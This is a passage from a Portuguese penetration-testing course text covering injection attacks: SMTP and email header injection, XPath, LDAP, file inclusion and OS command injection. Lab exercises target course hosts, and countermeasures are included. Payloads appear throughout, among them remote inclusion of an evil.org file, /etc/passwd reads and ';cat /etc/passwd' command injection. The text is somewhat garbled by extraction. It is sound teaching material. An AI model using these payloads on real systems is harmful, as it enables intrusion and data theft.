Subject:Mensagem falsa
Figura 7.17
Esta mensagem foi forjada! Texto original forne-
cido aplicao.
Supondo que o cdigo responsvel por gerar os comandos SMTP da interao entre a apli-
cao e o servidor de e-mail fosse o representado na Figura 7.18, o resultado obtido com a
substituio de $message pelo valor exibido na Figura 7.17, bem como das demais variveis
pelos argumentos associados, seria o ilustrado na Figura 7.19, excetuando-se a numerao.
Observe-se que, com a injeo do contedo identificado pelas linhas 09 a 17, formaram-se
duas conversaes SMTP distintas, compostas pelas linhas 02 a 09 e 10 a 18, o que faz com
que duas mensagens de correio eletrnico sejam enviadas. Neste cenrio, se o servidor
estiver mal configurado, de modo a permitir o encaminhamento de mensagens de usurios
externos para outros domnios, qualquer destinatrio da internet poder ser especificado,
facilitando a vida dos spammers (pessoas que enviam spams).
$cmd = $cmd.DATA.PHP_EOL;
Teste de Invaso de Aplicaes Web
$cmd = $cmd.From:.$from.PHP_EOL;
332
01 HELO localhost
02 MAIL FROM:<morpheus@esr.rnp.br>
03 RCPT TO:<supervisor@localhost>
04 DATA
05 From:morpheus@esr.rnp.br
06 Subject: Teste
07
08 Mensagem original.
09 .
10 MAIL FROM:<evil@evil.org>
11 RCPT TO:<outro.usuario@localhost>
12 DATA
13 From:evil@evil.org
14 To:outro.usuario@localhost
15 Subject:Mensagem falsa
16
linha (\0d e \0a). O uso normal compreende a definio do remetente, conforme endereo
de correio eletrnico preenchido pelo usurio no formulrio da aplicao.
Por fim, se a aplicao permitir que o usurio fornea caracteres de final de linha, um q
usurio capaz de injetar os cabealhos Cc e Bcc, expandindo a lista de destinatrios
da mensagem, em aplicaes PHP que usam a funo mail().
Para exemplificar, considere-se o seguinte trecho de cdigo, observando que o ltimo par-
metro da funo mail() corresponde ao additional_headers:
333
$from=From: .$_POST[from];
$realto=$_POST[realto];
$subject=$_POST[subject];
$message=$_POST[message];
evil%40evil.org%0d%0aCc%3aoutro%40localhost
Note-se que a entrada utiliza codificao URL, o que implica que, em requisies POST, ela
deve ser fornecida por meio de um proxy de interceptao, para que no seja duplamente
codificada. O processo mais simples, no caso de requisies GET, pois o valor final do par-
metro pode ser definido diretamente na barra de endereos do navegador web.
Para verificar se uma dada aplicao vulnervel injeo de comandos SMTP e de cabea-
lhos de e-mail, o seguinte roteiro pode ser executado:
2.1.Adulterao de destinatrio:
2.1.2. Em caso positivo, altere o valor do campo para um e-mail externo que controla,
e veja se recebe a mensagem enviada, o que confirma a vulnerabilidade.
2.1.3 Se o teste anterior falhar, repita a verificao com um endereo local, para o
qual tenha acesso.
2.3.1 Insira no corpo da mensagem uma linha contendo apenas um ponto (.),
seguida por outras quaisquer, e submeta o formulrio.
2.3.3 Caso o passo anterior no seja bem-sucedido, tente injetar uma conversao
inteira contendo os comandos MAIL, RCPT e DATA.
334
Injeo de XPath
XML XPath uma linguagem utilizada para acessar elementos de um documento XML, a q
Extensible Markup partir de um modelo de dados representado em formato de rvore. Uma consulta XPath
Language uma
devolve um conjunto de ns do modelo ou valores atmicos, como inteiros ou cadeias de
linguagem definida pelo
W3C que estabelece caracteres, por exemplo.
regras e formatos
para a codificao de Existem duas verses, 1.0 e 2.0, especificadas, respectivamente, em Clark e DeRose, 1999 e
documentos. Berglund et al., 2010, sendo que a ltima consiste em uma extenso da primeira e procura
fornecer compatibilidade s expresses legadas. O conjunto de funes adicionais forne-
cidas pela verso 2.0 facilita a explorao de aplicaes vulnerveis injeo de XPath,
porm, ela no suportada, atualmente, por todos os arcabouos de desenvolvimento.
<?xml version=1.0?>
<users>
<user id =100>
<account>esruser</account>
<password>esruser</password>
<name>Fulano de Tal</name>
<city>Campinas</city>
<phone>11 1111-1111</phone>
</user>
<user id =101>
<account>root</account>
<password>toor</password>
<name>Wolfgang Mozart</name>
<city>Indaiatuba</city>
<phone>22 2222-2222</phone>
</user>
<user id =102>
335
<name>Albert Einstein</name>
<city>Campinas</city>
<phone>33 3333-3333</phone>
</user>
<user id =103>
<account>dba</account>
<password>dba</password>
<name>Isaac Newton</name>
<city>Sao Paulo</city>
<phone>44 4444-4444</phone>
</user>
<user id =104>
<account>bobby</account>
<password>bobby</password>
<name>Bobby Fischer</name>
<city>Sao Paulo</city>
<phone>55 5555-5555</phone>
Figura 7.21
</user> Representao
em rvore do
</users> documento da
Figura 7.20.
raiz
usurios
Teste de Invaso de Aplicaes Web
usurio usurio
id = 100 id = 101
conta senha nome endereo cidade telefone conta senha nome endereo cidade telefone
esruser esruser Fulano R:Um,... Campinas 11 1111... root toor Wolfgang... R:Dois,... Indaiatuba 22 2222...
336
Uma das principais produes permitidas pela gramtica da linguagem XPath o loca-
tion path, doravante denominado, simplesmente, de caminho. Este tipo de expresso, do
qual se origina o nome XPath, permite referenciar elementos na rvore que representa o
documento XML. Por exemplo, o caminho /users/user/name seleciona todos os ns name
obtidos percorrendo-se, a partir da raiz, cada componente da expresso, da esquerda para
a direita. Ressalte-se que, enquanto o primeiro / denota o n raiz e indica um caminho
absoluto, as demais instncias deste caractere iniciam um novo passo no percurso.
//user[account=esruser]/name
Ela seleciona todos os ns name sob elementos user, para os quais account seja igual a
esruser. Note-se que, neste caso, account e name so irmos na hierarquia, pois ambos
tm como n pai o elemento user. Isto extremamente importante, pois a expresso
dentro de um predicado somente pode referenciar elementos que estejam acessveis dentro
do contexto do passo. Assim, //user/name[account=esruser] no encontra nada, porque
no h n account sob name. Por outro lado, //user/name[../account=esruser] e //
user/name[parent::*/account=esruser] so vlidos, pois tanto .. como parent::* fazem
com que a comparao de account com esruser ocorra no nvel hierrquico superior.
337
Alm desses operadores, algumas das funes existentes na linguagem so fundamentais
para a execuo dos ataques:
Agora que uma breve introduo linguagem XPath foi apresentada, possvel prosseguir
ao ataque de injeo que a envolve.
O problema raiz que leva vulnerabilidade o mesmo que o das demais injees, q
isto , emprego de informaes no validadas de usurios, na construo dinmica de
consultas, por meio de concatenao.
Por exemplo, considere uma aplicao que exibe informaes de usurios contidas em um
documento XML, desde que sejam fornecidas credenciais vlidas de acesso. Em tal cenrio,
seja a consulta XPath construda por meio do seguinte trecho de cdigo:
$uid=$_POST[uid];
$pwd=$_POST[pwd];
...
.$pwd.]);
A expresso ser avaliada como verdadeira para todo elemento que tenha account igual a
root, uma vez que o operador or injetado necessita de apenas um operando verdadeiro
para dar esse resultado.
338
O seguinte roteiro de teste pode ser executado para verificar a presena de campos vulne-
rveis injeo de XPath em uma aplicao web. Para cada item de entrada identificado na
fase de mapeamento:
or true() or
Considere-se a aplicao ilustrada na Figura 7.22(a), que conta quantos usurios, presentes
no documento XML da Figura 7.22 moram na cidade especificada, e que produz o resultado
Figura 7.22
Aplicao que faz exibido na Figura 7.22(b). O sistema pode utilizar a funo count() de XPath, para descobrir
consulta XPath: de maneira direta o nmero de ns que atendem ao critrio de busca, ou recuperar esse
(a) Interface conjunto e realizar a contagem de elementos, por meio de cdigo da lgica de negcio. Em
do sistema.
(b) Resultado qualquer dos dois casos, razovel supor a existncia de uma expresso que compara o
da pesquisa. nome de cidade de cada n, com a entrada fornecida pelo usurio.
(a) (b)
Por se tratar de um texto, o valor digitado deve ser delimitado por aspas simples ou duplas,
Captulo 7 - Ataques de injeo
Assumindo que o resultado anterior se mantm, a pergunta booleana que se deseja fazer
pode ser includa do seguinte modo:
339
Neste caso, se a pergunta for avaliada como verdadeira, a contagem permanece inalte-
rada; seno, o total de usurios contabilizado como zero. A reconstruo do documento
XML completo, a partir das perguntas injetadas, pode ser realizada, por meio do algoritmo
ilustrado na Figura 7.23 (Forbes e Siddhart, 2012). Observe-se que um dos pilares do mtodo
consiste na recuperao de nomes e valores.
Para exemplificar esta tcnica bsica e fundamental, vejamos como obter o nome do n
principal do documento. A tarefa inicial consiste em descobrir o tamanho do nome do ele-
mento, por meio das funes string-length() e name():
...
...
O processo deve ser repetido para as demais letras do nome, resultando, no exemplo dado,
no valor users. Depois disso, procede-se descoberta do nmero de atributos do n
users (Passo #2), que zero:
340
Campinas and count(/users/child::comment())=0 and a=a
...
Sempre que um n tiver mais de um filho, a funo position() deve ser empregada para
referenciar o descendente correto. Por exemplo, para se descobrir o tamanho do nome do
primeiro n-filho, as seguintes consultas devem ser efetuadas:
...
Por fim, observe-se como o valor textual de um elemento pode ser recuperado, uma vez
descobertos todos os nomes dos passos do caminho:
Tamanho do texto
...
...
Para recuperar as demais letras, devem ser feitas consultas semelhantes, apenas variando-se
o segundo parmetro da funo substring().
Esta tcnica gera um grande volume de requisies, para obter o mnimo de informa- q
es do documento. Uma pequena melhoria pode ser obtida, realizando-se uma busca
binria, em cada faixa de caracteres vlidos, mas esta ainda no uma soluo ideal,
do ponto de vista de eficincia. A resposta a esse problema dada na verso 2.0 da lin-
guagem, com a introduo da funo string-to-codepoints(), com a qual se pode restringir
o espao de busca de maneira bem mais otimizada (Forbes e Siddhart, 2012).
341
A cobertura deste e outros avanos contemplados pela nova especificao, entretanto,
esto alm do escopo do presente trabalho.
Incluso de arquivos
Algumas linguagens, como PHP, permitem incluir e avaliar dinamicamente um arquivo q
como parte do cdigo sendo executado. Essa funcionalidade comumente empregada
em sistemas que permitem ao usurio selecionar a lngua a ser utilizada ou o pas em
que se encontra, e, a partir da resposta, realizam a adaptao das mensagens, por
meio da incluso de arquivos especficos de cada idioma (Stuttard e Pinto, 2007). Se a
aplicao, simplesmente, utiliza o valor de um parmetro da requisio como argumento
da funo de incluso, um usurio malicioso pode fazer com que arquivos remotos ou
locais sejam injetados, durante o processo de gerao da resposta pela aplicao.
Note-se que, em PHP, o comando include utilizado com o propsito mencionado, permitindo
incluir arquivos remotos, caso a diretiva allow_url_include esteja definida com o valor On.
Para ilustrar o ataque, considere-se a aplicao exibida na Figura 7.24, que realiza uma
requisio GET, contendo um parmetro country, quando o usurio clica em Prosseguir.
O parmetro pode assumir os valores br e us para Brasil e Estados Unidos, respec-
tivamente, sendo concatenado com a cadeia de caracteres .php, no lado do servidor, e
passado para a funo include.
Figura 7.24
Exemplo de aplica-
o vulnervel in-
cluso de arquivos.
http%3A%2F%2Fwww.evil.org%2Fevil
http://filei.esr.rnp.br/select.php?country=http%3A%2F%2Fwww.evil.
org%2Fevil&Submit1=Prosseguir
342
http://filei.esr.rnp.br/select2.php?country=%2Fetc%2Fpasswd&Submit1=
Prosseguir
Para verificar se aplicaes so vulnerveis a estes dois ataques, os testes a seguir podem
ser realizados. Para cada item de entrada identificado na fase de mapeamento que tenha
grande chance de ser usado em um comando de incluso de arquivos:
1.1.Em caso positivo, intercepte a requisio e substitua-o pelo nome de outro arquivo
que se sabe estar no servidor. Verifique se a resposta apresenta algum indicativo de
que o arquivo foi includo e processado, o que indica a presena da vulnerabilidade.
1.3.Repita o Passo 1.1, porm usando no lugar do nome de arquivo uma URL para um
recurso que se tem controle.
Contramedidas
As principais medidas que podem ser adotadas, para evitar a ocorrncia dos mais q
diversos ataques de injeo esto listadas a seguir:
1 Gerais
2 Considere que toda informao fornecida por usurios maliciosa e, assim, antes
de process-la, verifique se ela est de acordo com valores reconhecidamente
vlidos para o campo ou parmetro. Complementarmente, restrinja o tamanho do
campo ao mximo permitido.
343
1 Injeo em filtros LDAP q
2 Utilize sempre verses atualizadas do servidor LDAP.
2 Estabelea um mximo de elementos que podem ser recuperados por meio de
uma consulta.
1 Injeo de XPath
2 Se o arcabouo de desenvolvimento possuir uma funo de consulta parametri-
zada, sempre a utilize.
1 Incluso de arquivos
2 Nunca passe dados fornecidos pelo usurio para funes de incluso dinmica
de arquivos.
Exerccio de fixao 2 e
Medidas contra ataques
Quais as melhores medidas contra ataques de injeo?
Teste de Invaso de Aplicaes Web
344
Apndice Gramtica para representao textual de filtros de
busca LDAP
A seguinte gramtica, que define a representao textual de filtros de busca LDAP, consiste em
uma reproduo completa do encontrado nos documentos RFC 4515 (Smith e Howes, 2006) e
RFC 4512 (Zeilenga, 2006b).
or = VERTBAR filterlist
filterlist = 1*filter
equal = EQUALS
/ ( [dnattrs]
initial = assertionvalue
final = assertionvalue
attr = attributedescription
Captulo 7 - Ataques de injeo
dnattrs = COLON dn
assertionvalue = valueencoding
345
; The <valueencoding> rule is used to encode an
<AssertionValue>
UTF0 = %x80-BF
Teste de Invaso de Aplicaes Web
UTF1 = %x00-7F
346
Gramtica da linguagem XPath 1.0
A gramtica abaixo, extrada de Clark e DeRose (1999), especifica a linguagem XPath 1.0.
| AbsoluteLocationPath
| AbbreviatedAbsoluteLocationPath
| RelativeLocationPath / Step
| AbbreviatedRelativeLocationPath
| AbbreviatedStep
| AbbreviatedAxisSpecifier
| ancestor-or-self
| attribute
| child
| descendant
| descendant-or-self
| following
| following-sibling
| namespace
| parent
| preceding
| preceding-sibling
| self
| NodeType ( )
| processing-instruction ( Literal
)
AbbreviatedAbsoluteLocationPath ::=
347
// RelativeLocationPath
AbbreviatedRelativeLocationPath ::=
RelativeLocationPath // Step
AbbreviatedStep ::= .
| ..
AbbreviatedAxisSpecifier::= @?
| ( Expr )
| Literal
| Number
| FunctionCall
Argument )* )? )
| UnionExpr | PathExpr
| FilterExpr
| FilterExpr / RelativeLocationPath
| FilterExpr // RelativeLocationPath
| FilterExpr Predicate
| OrExpr or AndExpr
| EqualityExpr = RelationalExpr
| EqualityExpr != RelationalExpr
348
| RelationalExpr <= AdditiveExpr
| AdditiveExpr + MultiplicativeExpr
| AdditiveExpr - MultiplicativeExpr
| MultiplicativeExpr MultiplyOperator
UnaryExpr
| - UnaryExpr
ExprToken ::= ( | ) | [ | ] | . | .. | @
| , | ::
| NameTest
| NodeType
| Operator
| FunctionName
| AxisName
| Literal
| Number
| VariableReference
| [^]*
| . Digits
| MultiplyOperator
| / | // | | | + | - | = |
!=
349
MultiplyOperator ::= *
NameTest ::= *
| NCName : *
| QName
| text
| processing-instruction
| node
ExprWhitespace ::= S
Teste de Invaso de Aplicaes Web
350
Roteiro de Atividades 7
Atividade 1 Injeo de comandos de sistema operacional
Esta atividade tem por objetivo ilustrar as diversas tcnicas que podem ser usadas para
injeo de comandos de sistema operacional. Para inici-la, carregue as mquinas virtuais
do aluno e do servidor (Fedora) e execute o roteiro na primeira delas. O propsito desta ati-
vidade introduzir os conceitos de ataques de injeo de comandos de sistema operacional.
2. Acesse http://oscmdi.esr.rnp.br/.
7. Fornea o seguinte texto para o campo Nome de domnio e clique em Resolver nome:
www.esr.rnp.br;cat /etc/passwd
Caracteres especiais
O objetivo desta atividade testar os diversos caracteres especiais que permitem sub-
misso de mltiplos comandos ao sistema operacional.
www.esr.rnp.br | ls -l /
www.esr.rnp.br & ls -l /
351
7. Digite o seguinte texto no campo Nome de domnio e clique em Resolver nome:
www.esr.rnp.br && ls -l /
10. Digite o seguinte texto no campo Nome de domnio e clique em Resolver nome:
www.esr.rnp.br || ls -l /
12. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
3. Encerre o Firefox.
3. Acesse http://logi.esr.rnp.br.
Teste de Invaso de Aplicaes Web
4. Fornea esr e senha para os campos Usurio e Senha, respectivamente, e clique em Login.
352
10. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab.
12. Retorne ao Firefox, fornea admin e senha para os campos Usurio e Senha, respecti-
vamente, e clique em Login.
18. Acesse novamente http://logi.esr.rnp.br/logfile e clique no cone Reload current page, caso
a pgina no seja atualizada. O registro foi injetado com sucesso?
2. Acesse http://hpp.esr.rnp.br/.
353
9. Digite a seguinte URL na barra de endereos e pressione [Enter]:
http://hpp.esr.rnp.br/build_poll.php?numero=123456&numero=6789&8
Submit1=Prosseguir
http://hpp.esr.rnp.br/build_poll.php?numero=6789&numero=123456&8
Submit1=Prosseguir
18. Observe a URL na barra de endereos e anote os valores dos parmetros Screen e Menu.
20. Observe a URL na barra de endereos e anote os valores dos parmetros Screen e Menu.
http://webgoat.esr.rnp.br:8080/webgoat/attack?Screen=92&Screen=99&8
menu=200
http://webgoat.esr.rnp.br:8080/webgoat/attack?Screen=99&Screen=92&8
menu=200
http://www.google.com/search?q=escola&q=superior&q=redes
354
Poluio de parmetros HTTP
Nesta parte da atividade, o ataque propriamente dito ser exercitado.
1. Acesse http://hpp.esr.rnp.br/.
4. Passe o mouse sobre cada link e veja a URL associada na barra de estado. Que posio o
parmetro poll_id ocupa na query string?
11. Passe o mouse sobre o link e veja a URL associada na barra de estado. Que parmetro
adicional passado em relao ao Passo 3?
12. Clique em Vote no melhor ataque! e observe que a pgina em hpp.esr.rnp.br acessada.
13. Passe o mouse sobre cada link e veja a URL associada na barra de estado. O que mudou
em relao ao Passo 4?
15. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
17. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
23. Passe o mouse sobre cada link e veja a URL associada na barra de estado. Que posio o
parmetro poll_id ocupa na query string?
http://hpp.esr.rnp.br/build_poll2.php?numero=123456%26id%3d3
355
25. Passe o mouse sobre cada link e veja a URL associada na barra de estado. Em que ordem
esto as instncias do parmetro id?
28. Passe o mouse sobre o link e veja a URL associada na barra de estado. Qual o propsito
do caractere # no final da URL?
29. Clique em Vote no melhor ataque! e observe que a pgina em hpp.esr.rnp.br acessada.
30. Passe o mouse sobre cada link e veja a URL associada na barra de estado. O que mudou
em relao ao Passo 25?
2. Acesse http://ldap.esr.rnp.br/.
6. Pelos resultados obtidos nos Passos 3 e 5, que tipo de operador est sendo usado
pelo filtro?
356
8. Fornea esruser( e esruser para os campos ID e Senha, respectivamente, e clique em
Buscar Informao. O que se infere pelo erro exibido?
11. Por que o registro foi exibido, uma vez que a senha informada diferente?
12. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
1. Acesse http://ldap.esr.rnp.br/index2.php.
http://ldap.esr.rnp.br/search2.php?imp=impressora%28&Submit1=Listar+8
dispositivos
http://ldap.esr.rnp.br/search2.php?imp=impressora)(%26&Submit1= 8
Listar+dispositivos
Captulo 7 - Roteiro de Atividades
357
Atividade 5 Injeo em filtros LDAP s cegas
Quando o resultado da injeo em filtros LDAP no exibido ao usurio, uma tcnica s cegas
deve ser empregada, para extrao de informao, conforme ser visto nesta atividade. Todos
os passos do roteiro devem ser executados na mquina virtual do aluno, e recomendado
tentar traar a estratgia de explorao antes de seguir as instrues fornecidas.
2. Acesse http://ldap.esr.rnp.br/.
7. Qual seria a estrutura geral do filtro usado pela aplicao, conforme visto na atividade
anterior?
10. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
13. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
14. Para descobrir se existe um atributo phone, digite esruser)(phone=* e senha nos
campos ID e Senha, respectivamente, e clique em Buscar Informao. O que se conclui?
15. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
16. Realize teste similar ao do Passo 14, para verificar a existncia do atributo gecos.
Teste de Invaso de Aplicaes Web
17. Fixe o valor do campo Senha para esruser e varie o valor de ID, conforme exemplo
abaixo, para descobrir a primeira letra do atributo gecos:
esruser)(gecos=A*
esruser)(gecos=B*
...
esruser)(gecos=a*
...
358
18. Repita o Passo 17, para as demais posies do atributo.
21. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
23. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
Adulterao de destinatrio
Esta parte da atividade ilustra como explorar uma aplicao que define o destinatrio da
mensagem, com base em um campo controlado pelo usurio.
2. Acesse http://maili.esr.rnp.br/.
~$ ssh supervisor@192.168.213.200
~$ ssh outro@192.168.213.200
359
11. Fornea a senha outro.
13. Retorne aplicao e preencha os campos do formulrio, criando uma mensagem com
ttulo Primeira mensagem. Em seguida, clique em Enviar mensagem.
20. Retorne ao formulrio e componha uma mensagem com ttulo Segunda mensagem.
24. Na caixa de dilogo que aparece, desmarque Continue Tampering? e clique em Submit.
3. Crie uma mensagem, com ttulo Terceira mensagem, e clique em Enviar Mensagem.
new%40esr.rnp.br%0d%0aCc%3aoutro%40localhost
6. Clique em OK.
360
9. Acesse o terminal do usurio supervisor e pressione h.
2. Crie uma mensagem com ttulo Quarta mensagem e preencha o corpo dela com o
seguinte texto:
Quarta mensagem.
Retorne ao Firefox e inicie a composio de nova mensagem com ttulo Quinta mensagem
e com o corpo definido abaixo:
Quinta mensagem.
MAIL FROM:<evil@evil.org>
RCPT TO:<outro@localhost>
DATA
From:evil@evil.org
Captulo 7 - Roteiro de Atividades
To:outro@localhost
361
9. Pressione 4 para ler a mensagem.
2. Acesse http://xpathi.esr.rnp.br/ex.php.
10. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
11. Altere a expresso para //user e clique em Pesquisar. Por que agora foram listados ns?
12. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
13. Digite //user/name e clique em Pesquisar. Que outra expresso retornaria o mesmo
Teste de Invaso de Aplicaes Web
resultado?
14. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
16. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
18. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
362
19. Digite //user[position()<=3]/name e clique em Pesquisar.
Injeo de XPath
Esta parte do exerccio aborda o ataque de injeo de XPath.
22. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
23. Repita o Passo 21, mas fornecendo senha para o campo Senha.
24. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
26. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
28. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
29. Repita o Passo 27, mas fornecendo or position()=2 or para o campo ID.
30. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
31. Repita o Passo 29, mas alterando o valor de position(), at que nenhum valor seja encontrado.
2. Acesse http://bxpathi.esr.rnp.br/.
7. Fornea Campinas and a=a para o campo Cidade e clique em Contar. Quantos usu-
rios foram localizados? Por que isso aconteceu?
363
8. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
9. Fornea Campinas and true() and a=a para o campo Cidade e clique em Contar.
O resultado obtido corresponde ao esperado?
10. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
11. Descubra o tamanho do nome do n de contexto, fornecendo o texto abaixo com valores
numricos crescentes para a posio marcada em vermelho:
13. Encontre a primeira letra do nome do n de contexto, fornecendo o texto abaixo com
diferentes letras minsculas na posio marcada em vermelho:
15. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
16. Repita o Passo 13, variando o primeiro argumento numrico de 2 a 4, para achar o valor
das demais letras. Qual o nome do n de contexto?
17. Verifique se o n possui atributos, fornecendo o texto abaixo, com valores nmericos
crescentes para a posio marcada em vermelho:
19. Descubra o tamanho do nome do atributo, fornecendo o texto abaixo, com valores
numricos crescentes para a posio marcada em vermelho:
2. Acesse http://filei.esr.rnp.br/.
364
3. Selecione Brasil e clique em Prosseguir.
6. Selecione Estados Unidos e clique em Prosseguir. O que mudou em relao URL vista
no Passo 4?
http://filei.esr.rnp.br/select.php?country=%2Fetc%2Fpasswd&Submit1= 8
Prosseguir
http://filei.esr.rnp.br/select.php?country=evil&Submit1=Prosseguir
http://filei.esr.rnp.br/select.php?country=select&Submit1=Prosseguir
12. O que contm a pgina de resposta? Qual a provvel razo do resultado obtido?
http://filei.esr.rnp.br/select.php?country=http%3A%2F%2Fwww.evil.org8
%2Fevil&Submit1=Prosseguir
17. Observe a URL exibida na barra de endereos e diga o que mudou em relao ao incio
Captulo 7 - Roteiro de Atividades
da atividade.
http://filei.esr.rnp.br/select2.php?country=%2Fetc%2Fpasswd&Submit1= 8
Prosseguir
365
19. Repita o Passo 18, mas fornecendo a seguinte URL:
http://filei.esr.rnp.br/select2.php?country=http%3A%2F%2Fwww.evil. 8
org%2Fevil.php&Submit1=Prosseguir
366
Bibliografia 7
1 ALONSO, Chema; BORDN, Rodolfo; GUZMN, Antonio e BELTRN, Marta. LDAP Injection
& Blind LDAP Injection in Web Applications. Black Hat Europe 08, 2008.
1 BALDUZZI, Marco; GIMENEZ, Carmen Torrano; BALZAROTTI, Davide e KIRDA, Engin. HTTP
Parameter Pollution Vulnerabilities in Web Applications. In: Proceedings of the Network
and Distributed System Security Symposium, NDSS 2011, The Internet Society, 2011.
1 BAROR, Yuval; YOGEV, Ayal e SHARABANI, Adi. Flash Parameter Injection A Security
Advisory. Whitepaper, IBM Rational Application Security Team, 2008.
1 BERGLUND, Anders; BOAG, Scott; CHAMBERLIN, Don; FERNNDEZ, Mary F.; KAY, Michael;
ROBIE, Jonathan e SIMON, Jrme. XML Path Language (XPath) 2.0 (Second Edition), W3C
Recommendation, dezembro de 2010.
1 BURSZTEIN, Elie; GOURDIN, Baptiste; RYDSTEDT, Gustav e BONEH, Dan. Bad Memories.
Black Hat USA, 2010.
1 CARETTONI, Luca e DI PAOLA, Stefano. HTTP Parameter Pollution. OWASP EU09 Poland,
The OWASP Foundation, 2009.
1 CLARK, James e DEROSE, Steve. XML Path Language (XPath) Version 1.0, W3C
Recommendation, novembro de 1999.
1 FAUST, Sacha. LDAP Injection Are your web applications vulnerable? White Paper, SPI
Dynamics, Inc., 2003.
1 FORBES, Thomas e SIDDHARTH, Sumit. Hacking XPath 2.0. Black Hat Europe, 2012.
1 GRZELAK, Daniel. Log Injection Attack and Defence. SIFT Special Publication, SIFT
Information Security Services, 2007.
1 HOWARD, Michael, LEBLANC, David e VIEGA, John. 19 Deadly Sins of Software Security
Programming Flaws and How to Fix Them. McGraw-Hill/Osborne, 2005.
Aerospace and Electronic Systems Magazine, Volume 24, Issue 6, Pg. 15-24, IEEE, 2009.
1 KLEIN, Amit. Divide and Conquer HTTP Response Splitting, Web Cache Poisoning Attacks,
and Related Topics. White Paper, Sanctum, 2004a.
367
1 LARANJEIRO, Nuno, VIEIRA, Marco e MADEIRA, Henrique. Protecting Database Centric Web
Services against SQL/XPath Injection Attacks. Em Database and Expert Systems Applications,
20 th International Conference, DEXA 2009, Linz, Austria, 31 de agosto 4 de setembro,
2009. Proceedings. Lecture Notes in Computer Science 5690, Springer, 2009.
1 PINTER, Dominik. Kentico CMS Security White Paper. Kentico Software s.r.o., 2011.
1 SMITH, Mark e HOWES, Tim. RFC 4515: Lightweight Directory Access Protocol (LDAP): String
Representation of Search Filters, 2006.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
1 VAN DER VLIST, Eric. XQuery Injection Easy to exploit, easy to prevent.... Em XML Prague
2011 Conference Proceedings, p. 177-189, 2011.
1 ZEILENGA, Kurt. RFC 4514: Lightweight Directory Access Protocol (LDAP): String Representation
of Distinguished Names, 2006a.
1 ZEILENGA, Kurt. RFC 4512: Lightweight Directory Access Protocol (LDAP): Directory Information
Models, 2006b.
Teste de Invaso de Aplicaes Web
368
8
Teste do mecanismo de
autorizao e da lgica de negcio
objetivos
conceitos
Autorizao, acesso direto a recursos, percurso de caminho, redirecionamento
no validado, condies de corrida, vulnerabilidades em lgica de negcio.
Introduo
Um dos objetivos de se autenticar um usurio no sistema consiste em fornecer meios de q
negar ou autorizar operaes que ele deseja realizar, de acordo com os privilgios que
possui, alm de permitir o rastreamento do que feito na aplicao.
Essa verificao deve ser sempre executada, por um componente chamado de monitor
de referncias (Anderson, 1972), no momento em que uma ao iniciada, o qual deve
possuir as seguintes caractersticas, para atender os requisitos que se prope satisfazer:
A lista de problemas, neste caso, compreende desde verificar os privilgios uma nica vez,
logo aps a autenticao, at deixar de validar de vez a legitimidade dos acessos. Note-se
que, em qualquer das situaes, um usurio malicioso consegue executar operaes as
quais no deveria.
369
A maneira como o monitor de referncias libera ou bloqueia uma dada ao deter- q
minada pelo modelo de controle de acesso adotado, que um arcabouo responsvel
por definir quais recursos podem ser acessados pelas diversas entidades do sistema.
Existem trs tipos desses modelos:
370
Exerccio de nivelamento 1 e
Vulnerabilidades em aplicaes web
Voc se recorda de alguma aplicao web cuja URL apresentasse valores que pudessem ser
chaves primrias de tabelas ou recursos internos?
Nesta seo sero apresentadas algumas variaes do ataque, as quais dependem do tipo de
recurso sendo controlado e das premissas incorretas assumidas pelo time de desenvolvimento.
(a) (b)
H diversas recursos que um usurio malicioso pode emprega, para descobrir as URLs das
operaes s quais no tem acesso: registros de trilhas de auditoria, histrico de navegao,
trfego capturado, documentao da aplicao, interao com outros usurios do sistema,
inferncia a partir da estrutura geral das URLs usadas nos links disponveis, dentre inmeras
outras possibilidades. A partir desses exemplos, fica claro que essa abordagem de controle
371
de acesso completamente insegura, pois parte de uma premissa incorreta, com relao
incapacidade do usurio de descobrir o que no apresentado pela interface.
Para verificar se uma aplicao vulnervel a este ataque, o seguinte roteiro pode ser utilizado:
1. Se diversas contas de usurio, com diferentes perfis, estiverem disponveis para o teste:
1.1.Autentique-se na aplicao com cada uma das contas e percorra as diversas pginas
que a compem.
1.3.Com cada conta, tente acessar as funcionalidades disponveis somente para outros
usurios.
Isso possibilita, por exemplo, criar links para retornar pgina visitada anteriormente e
gerar estatsticas de onde o acesso se inicia. Enquanto esses so usos vlidos do cabe-
alho, algumas aplicaes o utilizam inadvertidamente com fins de segurana.
A ideia justamente impedir acesso direto a recursos, obrigando que a requisio tenha
origem em uma pgina na qual, necessariamente, o usurio tenha passado pelo pro-
cesso de autenticao. Contudo, a estratgia adota a premissa invlida de que o usurio
no capaz de definir o Referer como bem desejar.
if (!isset($_SERVER[HTTP_REFERER]) ||
stripos($_SERVER[HTTP_REFERER], http://bssac.esr.rnp.br/
Teste de Invaso de Aplicaes Web
admin/)
=== false) {
página de login</a>);
goto invalid_referer;
372
O propsito do if acima verificar se o valor do cabealho REFERER contm a URL passada
como argumento para a funo stripos(). Em caso negativo, uma mensagem de erro
exibida e o controle desviado para a seo de cdigo rotulada por invalid_referer.
Um usurio malicioso, para quebrar esse mecanismo de proteo, pode interceptar a requi-
sio e inserir o cabealho Referer com o valor adequado, conforme ilustrado na Figura 8.2.
